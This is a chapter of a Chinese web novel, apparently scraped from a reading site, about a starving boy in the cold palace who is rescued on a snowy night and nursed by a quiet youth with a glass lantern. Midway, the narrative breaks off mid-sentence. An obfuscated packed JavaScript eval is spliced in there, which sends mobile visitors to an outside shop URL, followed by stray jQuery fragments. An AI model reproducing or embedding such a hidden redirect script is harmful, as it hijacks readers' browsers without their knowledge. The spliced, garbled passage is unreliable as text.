默认冷灰
24号文字
方正启体

1. 【壹】

作者:邪恶大太阳本书字数:K更新时间:
    昭忘元年冬,东宫焚于兵燹。


    后宫人洒扫废墟,于断椽焦土间,寻得半盏琉璃宫灯残片。


    其上以霜刃勒诗数行,笔痕深峻,犹带血锈:


    雪覆宫灯旧梦沉,


    一枰山河作君恩。


    新碑不载未归客,


    独向青史问无存。


    腊月的夜,连月光都被冻得惨白。紫禁城的琉璃瓦凝成一层厚厚的霜,唯独冷宫的残垣断壁还漏着呜咽的穿堂风。


    玉凌绝蜷缩在一处半塌的宫墙角落里,这里是他唯一能寻到勉强抵御风雪的容身之所。他把自己缩得很小很小,破烂的单衣根本无法留住丝毫暖意,寒意钻入四肢百骸,吞噬着所剩无几的体温。


    他的意识在冰冷的黑暗边缘沉浮,饥饿像一只无形的手紧紧攥着他的胃。他甚至没有力气再去想那个郁郁而终又模糊的娘亲影子,只剩下求生的本能让他还维持着抱紧自己的姿势。


    寒冷啃噬着他仅存的知觉,视野里只有那轮悬在枯枝间的冷月,散发着临死前虚假的暖意。就在他眼皮沉重得将要阖上的瞬间,墙头积雪簌簌落下几缕,一道黑影悄无声息地翻过了那堵他永远无法逾越的高墙,遮住了凄清的月光。


    他猛地一个激灵,用尽最后的气力抬起头,浑浊的视线透过纷飞的雪幕,望向那堵高墙。


    那人勾勒出一个逆光的轮廓,看不清面容,只有一道沉默的剪影,手里提着一盏小小的琉璃宫灯,暖黄的光晕在肆虐的风雪中顽强地撑开一小圈领域。


    玉凌绝猛的蜷缩起来,几乎与阴影融为一体。凌乱的,掺着几缕不祥暗青的碎发遮住了他大半张脸,只能看见一双黑沉得近乎泛着青光的眼睛,如同两块浸在寒潭底的冷玉,正死死地盯着对方,充满戒备与濒死的凶戾。


    他的喉咙里发出类似濒死小兽的警告声,身体向后缩去,让冰冷的墙壁抵住了脊背。他死死地盯着那个不速之客,仿佛下一刻就要扑上去撕咬。


    墙头上的人依然沉默着,似乎在打量他。那目光并无恶意,却带着一种难以言喻的专注,让玉凌绝更加不安。


    就在他意识即将彻底沉入黑暗的前一刻,那人忽然轻轻笑了一声,那笑声很低,带着一种尘埃落定般的叹息,融在寒风里,几乎听不真切。


    “……终于找到你了。”


    话音未落,那人竟毫不犹豫地从丈高的墙头纵身跃下,衣袂在清冷的月华中划出一道利落的弧线,轻巧地落在他面前几步远的地方,激起些许微尘和碎雪。


    陌生的气息逼近,玉凌绝全身残存的力量瞬间化作凶狠,他龇着牙,从喉咙深处挤出威胁的呜咽,浑浊的眼睛死死盯住对方,试图用这虚张声势逼退任何可能的侵害。


    那人却浑不在意,径直在他面前蹲下,伸出手,似乎想触碰他冻得发紫的脸颊。“别怕……” 他的声音温和,却带着一种不容置疑的靠近。


    “呜——!” 玉凌绝像被彻底激怒,用尽最后的生机猛地向前一扑,一口狠狠咬在那只伸过来的手腕上。齿尖瞬间传来温热而带着腥气的液体味道,他几乎是本能地绝望着死死合拢牙关,仿佛这是他对这冰冷世间最后的反抗。


    预想中的殴打与辱骂却并未降临到他的身上。


    那只手腕甚至没有颤抖一下,反而传来一声近乎无奈的叹气。随即,他整个视野天旋地转。那人竟顺势张开手臂,将他冰冷僵硬的小身子整个拥进了怀里。


    厚实温暖的外袍裹了上来,带着对方身上清冽干净的气息,严严实实地将他包住,隔绝了外面凛冽的寒风。那怀抱并不十分柔软,甚至能感觉到衣料下清瘦的身躯,但其中透出活人的暖意,却如同冻土下突然燃起的火,迅猛而真实地烫伤了他几乎冻结的神经。


    玉凌绝愣住,齿间的力道不自觉地松懈。那几乎要冻僵的四肢百骸,被这突如其来的温暖一激,开始不受控制地剧烈颤抖起来,连牙齿都咯咯作响。


    “好了,好了……没事了。” 那人的声音就在耳边,温和得像在哄劝,“松口吧,小心牙疼。”他感觉到那只没被他咬着的手,正一下下轻抚着他瘦骨嶙峋的后背。


    玉凌绝怔怔地,终于松开了口。一丝殷红在那人素色的袖口泅开,像雪地里骤然绽放的红梅。他看见那只清瘦手腕上,赫然印着一圈深深渗着血丝的牙印,在冷白的月光下显得格外刺目。


    但他还没来得及做出任何反应,就见那人用没受伤的手,从怀里摸出一个小小的油纸包。指尖灵巧地解开,一股纯粹的甜香瞬间钻入鼻腔。油纸里躺着一块琥珀色的东西,光泽温润,是他从未见过,更从未尝过的。


    那人将那块东西递到他干裂的唇边,声音里带着不易察觉的诱哄,“甜的,吃了就不冷了,也有力气了。”


    玉凌绝呆呆地看着近在咫尺的陌生食物,又抬眼看了看那模糊到看不清眉眼的脸。这一切构成了一种他无法理解的巨大冲击。他迟疑地,慢慢地张开干裂起皮的嘴唇,小心翼翼用舌尖碰了碰那琥珀色的物体。


    霎时间,一股带着麦芽焦香的浓郁甜味如同洪流席卷了他冰冷的味蕾,顺着喉咙一路暖进几乎冻结的胃里,甚至猛烈地冲上了眼眶,激得他视线一片模糊。


    是糖。


    他猛地低下头,将脸深深埋进那还带着夜风凉意和对方独特气息的衣襟里,瘦小的肩膀剧烈地无声抽动起来。


    那人什么也没说,只是收紧了手臂,将他和那半块饴糖一起,更紧地裹在自己的衣袍里,用身体为他挡住了从破败宫墙外灌入的最后一缕寒风。


    雪是后半夜停的。


    玉凌绝在一阵温暖而干燥的触感中惊醒,猛地睁开眼,映入眼帘的却不是冷宫那熟悉又结着蛛网的腐朽梁栋,而是素净的锦帐顶。身下是柔软厚实的被褥,带着一股清浅像是被阳光晒过的香气,与他记忆中阴冷潮湿散发着霉味的草堆截然不同。


    他几乎要以为这是一场濒死前过于美好的幻梦,可喉咙里还残留着那甜得发腻的滋味,手腕上被仔细包扎好的布条也提醒着他,是真的。那个像月亮一样忽然出现的人,把他从雪地里捞了出来。


    “醒


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105155|195781||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了?”


    清朗的声音从旁边传来,玉凌绝像受惊的小兽,猛地蜷缩起身子,裹紧被子,警惕地望向声音来处。


    那人就坐在不远处的灯下,手里拿着一卷书。烛光将他的侧影勾勒得柔和,却也让玉凌绝看清了他此刻的模样。


    他不再是雪夜里背着月光,看不清面容的神秘来客,而是一个眉眼平静的少年。他并非多么俊俏,反而清瘦又普通,他右眼角旁与近唇角处,各有一点颜色偏浅的痣,随着笑意微微牵动,如同凝住的墨滴,在苍白的脸上有些显眼。


    他穿着常服,神态平和,仿佛照顾一个冷宫弃子是再寻常不过的事。见玉凌绝戒备,那人也不靠近,只将手边一个温着的小盅往前推了推。


    “灶上温着的粳米粥,吃些暖胃。”


    玉凌绝不敢动,眼里满是怀疑与挣扎。温暖和食物是完美的诱惑,但过往的经验告诉他,每一次接受,都可能在日后付出更惨痛的代价。


    然而那人神情却淡淡的,那盏琉璃宫灯暖黄的光晕映亮他半边脸庞,照亮他看向玉凌绝时,唇角那惯常噙着的一丝若有若无的笑意,牵动右边嘴角那颗痣,让他整张脸都透出一种漫不经心的疏淡。


    但他面对其他人时更多的却是面无表情,那两颗浅痣便沦为画中人脸上无意义的点缀,死气沉沉。


    随后玉凌绝在那人的东宫偏殿里休息了三日。身上的冻疮结了深紫色的痂,嶙峋的腕骨被几顿温热膳食熨帖地包裹起来,不再那么尖锐地硌人。


    他像是要把过去几年缺的觉都补回来,又像是潜意识里害怕醒来发现一切不过是濒死的美梦。每次惊醒,总能看见那人坐在窗边看书,或在小炉前煎药,他的身影被烛光拉得悠长,安静得仿佛一直就在那里。


    见玉凌绝醒来,那人便会走过来,试过他额头的温度,将温水或温热的药汁递到他唇边。


    那个深夜玉凌绝发了高热,浑身滚烫,意识混沌间,感觉到一只微凉的手覆上他的额头。


    他本能地想要瑟缩,却被那只手坚定地按住。随即苦涩的药汁被一点点渡入口中。他挣扎着想要吐出来,却被一句没什么情绪的话定住:“咽下去。死了,便什么都没了。”


    那声音平静得近乎残酷,却奇异地压下了他喉间的翻涌。他呜咽着,最终还是顺从地吞下了那救命的苦汁。


    那人说话时依旧带着那股子疏淡的调子,仿佛只是随手拂去衣上尘埃。


    在此期间,玉凌绝一直紧绷着身体,像一只受伤后被迫接受救助的幼兽,对方的每一次触碰都让他肌肉僵硬。但预想中的伤害从未到来。那人的手指干净修长,递来的药是苦的,但之后总会有一小块蜜饯或酥糖悄然塞进他手心。


    几天下来,那蚀骨的寒冷似乎被驱散了些,他甚至会在那人看书时,偷偷打量对方垂眸时纤长的睫毛,和那总是没什么情绪起伏的侧脸,试图从那张平静的脸上找出任何一丝伪装的裂痕。


    裂痕没找到,他却在对方又一次递过蜜饯时,下意识地蜷缩起手指,将那点甜意攥在了掌心。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)